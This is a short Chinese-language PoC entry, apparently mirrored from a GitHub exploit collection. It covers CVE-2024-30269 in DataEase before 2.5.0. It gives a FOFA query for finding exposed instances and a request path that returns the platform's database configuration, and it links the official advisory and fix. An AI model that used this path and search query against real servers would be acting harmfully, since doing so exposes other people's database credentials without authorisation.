mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 14:04:06 +00:00
21 lines
653 B
Markdown
21 lines
653 B
Markdown
# DataEase存在数据库配置信息暴露漏洞(CVE-2024-30269)
|
||
|
||
DataEase是一个开源数据可视化和分析工具，在版本2.5.0之前存在数据库配置信息暴露漏洞。通过浏览器访问`/de2api/engine/getEngine;.js`路径可以获取平台的数据库配置。该漏洞已在v2.5.0中修复，除了升级之外，没有已知的解决方法。
|
||
|
||
## fofa
|
||
|
||
```javascript
|
||
body="Dataease"
|
||
```
|
||
|
||
## poc
|
||
|
||
```javascript
|
||
/de2api/engine/getEngine;.js
|
||
```
|
||
|
||
|
||
|
||
## 漏洞来源
|
||
|
||
- https://github.com/dataease/dataease/security/advisories/GHSA-8gvx-4qvj-6vv5 |